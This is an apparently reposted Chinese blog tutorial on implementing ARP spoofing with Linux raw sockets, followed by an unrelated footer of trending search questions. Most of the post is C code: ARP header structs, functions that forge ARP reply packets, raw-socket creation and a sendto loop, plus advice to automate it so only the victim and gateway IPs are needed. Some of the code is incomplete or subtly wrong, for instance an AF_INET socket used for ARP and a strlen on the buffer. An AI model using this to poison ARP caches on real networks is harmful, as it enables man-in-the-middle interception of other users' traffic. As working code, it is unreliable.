原始套接字实现--arp欺骗

来源:互联网 发布:倩女幽魂有mac版吗 编辑:程序博客网 时间:2024/05/27 14:14

1、利用原始套接字实现arp欺骗:

      首先我们要清楚arp的原理:

     


这样我们就可以很清楚我们要做什么了:

   


2、既然这样我们就可以十分明白自己该怎样做了。

  来看一下linux下的一些对于arp头部的构造的源码和各个字段的常见参数解析:去文件/usr/include/net/if_arp.h /ustr/include/netinet/ether.h

struct arphdr
  {
    unsigned short int ar_hrd; /* Format of hardware address.  */
    unsigned short int ar_pro; /* Format of protocol address.  */
    unsigned char ar_hln; /* Length of hardware address.  */
    unsigned char ar_pln; /* Length of protocol address.  */
    unsigned short int ar_op; /* ARP opcode (command).  */
#if 0
    /* Ethernet looks like this : This bit is variable sized
       however...  */
    unsigned char __ar_sha[ETH_ALEN]; /* Sender hardware address.  */
    unsigned char __ar_sip[4]; /* Sender IP address.  */
    unsigned char __ar_tha[ETH_ALEN]; /* Target hardware address.  */
    unsigned char __ar_tip[4]; /* Target IP address.  */
#endif
  };

struct ether_arp {
struct arphdr ea_hdr; /* fixed-size header */
u_int8_t arp_sha[ETH_ALEN];/* sender hardware address */
u_int8_t arp_spa[4];/* sender protocol address */
u_int8_t arp_tha[ETH_ALEN];/* target hardware address */
u_int8_t arp_tpa[4];/* target protocol address */
};
#define arp_hrdea_hdr.ar_hrd
#define arp_proea_hdr.ar_pro
#define arp_hlnea_hdr.ar_hln
#define arp_plnea_hdr.ar_pln
#define arp_opea_hdr.ar_op


实现对于arp的头部的构造,(arp中的option选项是有着   1  reques 2 reply 3 rarp request 4 rarp reply)

这里你要恢复的是应答包:

struct arphdr * Setarp()

{

  struct arphdr * arp = calloc(1, sizeof(struct arphdr));

  arp->ar_hrd=htons(ARPHRD_ETHER);

  arp->ar_op=htons(ARPOP_REPLY);

  arp->ar_pro=htons(ETHERTYPE_IP);

  arp->ar_hln=ETH_ALEN;

  arp->ar_pln=4;

  return arp;

}

struct ether_arp * setArpPacket(u_int8_t * sendip,u_int8_t * sendMac ,u_int8_t * src_ip,u_int8_t * srcMAC)

{

  struct ether_arp * arp = calloc(1,ARP_LEN_MAX);

  arp->ea_hdr=*Setarp();

  memcpy(arp->arp_sha, sendMac, ETH_ALEN);

  memcpy(arp->arp_spa, sendip,4 );

  memcpy(arp->arp_tha, srcMAC, ETH_ALEN);

  memcpy(arp->arp_tpa,src_ip,4);

  return arp;

}

创建过程,对于如果使用libpcap发送的时候还要构造一个MAC 头部

/*

   #define ETHERTYPE_PUP0x0200          /* Xerox PUP */
#define ETHERTYPE_SPRITE 0x0500/* Sprite */
#define ETHERTYPE_IP0x0800 /* IP */
#define ETHERTYPE_ARP0x0806 /* Address resolution */
#define ETHERTYPE_REVARP0x8035 /* Reverse ARP */
#define ETHERTYPE_AT 0x809B/* AppleTalk protocol */
#define ETHERTYPE_AARP 0x80F3/* AppleTalk ARP */
#define ETHERTYPE_VLAN0x8100 /* IEEE 802.1Q VLAN tagging */
#define ETHERTYPE_IPX 0x8137/* IPX */
#define ETHERTYPE_IPV60x86dd /* IP protocol version 6 */
#define ETHERTYPE_LOOPBACK 0x9000/* used to test interfaces */

*/

也就是  struct mac_header{

u_char dst[6];

u_char src[6];

u_short type;

};

这里到底type   选择 ==0x806

2、发送arp数据,

   其实利用原始套接字有一个选项直接可以实现对于arp的选项

   这里为

int sockfd;

 sockfd=socket(PF_INET, SOCK_RAW,  htons(ETH_P_ARP));

 if(sockfd==-1)

 {

   return 0;

 }

构造头部,

memcpy(buff,arp,ARP_LEN_MAX);

memcpy(buff+ARP_LEN_MAX,temp,strlen(buff));

发送数据出去:

int num =  sendto(sockfd,buff,MAX,0,(struct sockaddr *)&server,sizeof(struct sockaddr_in));

   if(num>0){

    printf("%s",temp);

  }

    sleep(10);


其实实际清楚原理后这个是非常简单的实现。这个源代码也是非常简单。如果对于什么自己的MAc地址大家可以使用这个unix系统的万能函数ioctl函数去获取网卡设备的上的ip地址,mac地址,广播等信息,这样我们再去编序arp欺骗是就发现我们输入的参数就只有了攻击ip和 网关ip,这样输入更加少了,更加智能一些吧。自己能力还是有限的哈,希望各位前辈多多提意见。 



原创粉丝点击
热门问题 老师的惩罚 人脸识别 我在镇武司摸鱼那些年 重生之率土为王 我在大康的咸鱼生活 盘龙之生命进化 天生仙种 凡人之先天五行 春回大明朝 姑娘不必设防,我是瞎子 有病不能拘留那怎么办 拘留所不交伙食费怎么办 治安拘留不执行怎么办 释放证明书丢了怎么办 银行提前收贷款怎么办 存货周转天数高怎么办 欠款人没有财产怎么办 起诉后对方没钱怎么办 法院起诉人不到怎么办 治安拘留跑了怎么办 看守所里生病了怎么办 二审上诉被驳回怎么办 醉酒驾车取保候审以后怎么办 小案子证据不足怎么办 撞车不严重逃逸怎么办 被执行人没有财产执行怎么办 挖到人头了怎么办 取保保证金不退怎么办 被诬陷经济诈骗怎么办 醉驾刑事拘留后怎么办 被别人举报赌博怎么办 涉黄刑事拘留怎么办取保候审 换了车牌保险怎么办 车辆转让后保险怎么办 立案后警察不管怎么办 打架后对方讹人怎么办 工商被恶意举报怎么办 店铺被工商举报怎么办 被买单侠恐吓怎么办? 团伙作案刑事拘留怎么办取保 欢乐麻将老输怎么办 回不了家怎么办身份证 没注意闯红灯了怎么办 摩托车被套牌了怎么办? 发现员工偷钱怎么办 盗窃刑事拘留7天怎么办 盗窃抓不到人怎么办 发现宿舍被盗后怎么办(  ) 发现宿舍被盗后怎么办() 回收到赃物电瓶怎么办 不知情买了赃物怎么办